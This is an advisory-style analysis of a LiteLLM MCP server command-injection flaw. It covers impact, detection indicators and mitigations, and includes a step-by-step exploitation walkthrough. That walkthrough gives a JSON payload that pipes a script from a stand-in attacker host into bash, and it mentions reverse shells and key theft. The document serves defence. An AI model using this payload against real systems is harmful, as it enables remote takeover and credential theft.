CVE-2026-30623: 
LiteLLM vulnerability analysis and mitigation

CVE-2026-30623 is a critical remote code execution (RCE) vulnerability in LiteLLM version 1.18.10, affecting its Model Context Protocol (MCP) server creation functionality. The flaw allows unauthenticated remote attackers to execute arbitrary operating system commands by supplying a malicious JSON configuration specifying arbitrary command and args values when adding MCP servers. The vulnerability was published on July 15, 2026, with the GitHub Advisory (GHSA-gw7c-8jfv-4mj2) added on July 16, 2026. It carries a CVSS v3.1 base score of 9.8 (Critical), assessed by CISA-ADP (Github Advisory, Red Hat Bugzilla).

The root cause is improper neutralization of special elements used in a command (CWE-77 / CWE-78 — OS Command Injection). LiteLLM's MCP server creation endpoint accepts a user-supplied JSON configuration containing command and args fields, which are passed directly to the host OS process-spawn layer without any validation or sanitization. Because no authentication or input filtering is enforced on this endpoint, a network-accessible attacker can craft a JSON payload with arbitrary OS commands as the command value, which LiteLLM then executes with the privileges of the running LiteLLM process. The vulnerability is part of a broader class of MCP STDIO command-injection flaws identified across the AI ecosystem (OX Security Advisory, LiteLLM Blog).

Successful exploitation grants an unauthenticated attacker full remote code execution with the privileges of the LiteLLM process, resulting in high confidentiality, integrity, and availability impact. An attacker can read sensitive data (API keys, model configurations, user data), modify or destroy application state, and disrupt service availability. Given LiteLLM's role as an AI gateway proxying requests to 100+ LLM providers, compromise could expose downstream API credentials and enable lateral movement into connected cloud services and LLM provider accounts (Github Advisory, OX Security Advisory).

The vulnerability requires no authentication, no user interaction, and has low attack complexity, making it fully automatable — CISA's SSVC assessment confirms automatable: yes and technicalImpact: total. As of the time of reporting, no confirmed in-the-wild exploitation has been observed, and CISA's SSVC exploitation status is listed as none. A detection/mitigation tool (mcpshield) has been published on GitHub that validates MCP STDIO configurations for command-injection flaws before execution, but no weaponized exploit code has been confirmed (Red Hat Bugzilla, mcpshield). The EPSS score is approximately 1.19–1.67%, placing it in the 74th percentile for exploitation probability within 30 days (Github Advisory). The CVE is not currently listed in the CISA KEV catalog.

1. Reconnaissance: Identify internet-facing LiteLLM instances running version 1.18.10 using tools like Shodan or Censys, searching for LiteLLM proxy server banners or known API endpoints (e.g., /health, /v1/models).
2. Locate MCP server configuration endpoint: Identify the API endpoint used to add MCP servers (e.g., a REST endpoint accepting JSON configuration for MCP server creation).
3. Craft malicious JSON payload: Construct a JSON body with the command field set to an arbitrary OS command (e.g., bash, curl, or a reverse shell binary) and args containing the desired arguments:

{
  "server_name": "malicious",
  "command": "bash",
  "args": ["-c", "curl http://attacker.com/shell.sh | bash"]
}

4. Submit the payload: Send the crafted JSON to the MCP server creation endpoint via an unauthenticated HTTP POST request.
5. Achieve RCE: LiteLLM passes the command and args values directly to the OS process-spawn layer without validation, executing the attacker-controlled command with the privileges of the LiteLLM process.
6. Establish persistence: Use the initial RCE to deploy a reverse shell, exfiltrate API keys from the LiteLLM configuration, or pivot to connected cloud services (OX Security Advisory, LiteLLM Blog).

• Network: Unexpected outbound connections from the LiteLLM host to unknown external IPs or domains shortly after MCP server configuration requests; HTTP POST requests to MCP server creation endpoints with unusual or encoded command/args values in the request body.
• Logs: LiteLLM access logs showing POST requests to MCP server configuration endpoints from unexpected source IPs; application logs recording process-spawn events with non-standard command values (e.g., bash, curl, wget, python, nc).
• Process: Unusual child processes spawned by the LiteLLM Python process (e.g., /bin/bash, curl, wget, nc, python) visible via ps, top, or EDR telemetry; unexpected cron jobs or scheduled tasks created under the LiteLLM service account.
• File System: New or modified scripts, binaries, or web shells in the LiteLLM installation directory or temp directories; unexpected SSH authorized_keys modifications for the LiteLLM service account.
• Environment: Unexpected access to environment variables containing API keys (e.g., OPENAI_API_KEY, ANTHROPIC_API_KEY) from processes not associated with normal LiteLLM operation.

Update LiteLLM to a version beyond 1.18.10 that includes validation of MCP server configuration parameters. As interim mitigations: restrict access to MCP server configuration endpoints to authenticated and authorized users only; implement input validation and allowlisting for the command and args fields in MCP server configurations; deploy network-level controls to limit inbound access to the LiteLLM proxy to trusted sources. The open-source tool mcpshield can be used to statically audit MCP server configurations and validate command/args values before execution. Monitor LiteLLM process execution for suspicious or unexpected command invocations (LiteLLM Blog, Github Advisory).

The vulnerability received significant coverage in the AI security community, framed as part of a broader systemic issue with Anthropic's Model Context Protocol (MCP) design allowing STDIO command injection across multiple AI platforms. OX Security published a supply chain advisory identifying RCE vulnerabilities across the AI ecosystem, including LiteLLM, and VentureBeat reported that approximately 200,000 AI agent servers were exposed by the MCP STDIO flaw (OX Security Advisory, VentureBeat). The Hacker News and multiple cybersecurity outlets covered the broader MCP design vulnerability, with community discussion on LinkedIn and developer blogs debating whether the issue is a design flaw in the MCP specification itself or an implementation failure by individual vendors. LiteLLM published an official blog post acknowledging the MCP STDIO command injection issue in April 2026 (LiteLLM Blog). Obsidian Security published analysis questioning the conditions under which STDIO MCP configurations constitute a genuine vulnerability versus expected behavior (Obsidian Security).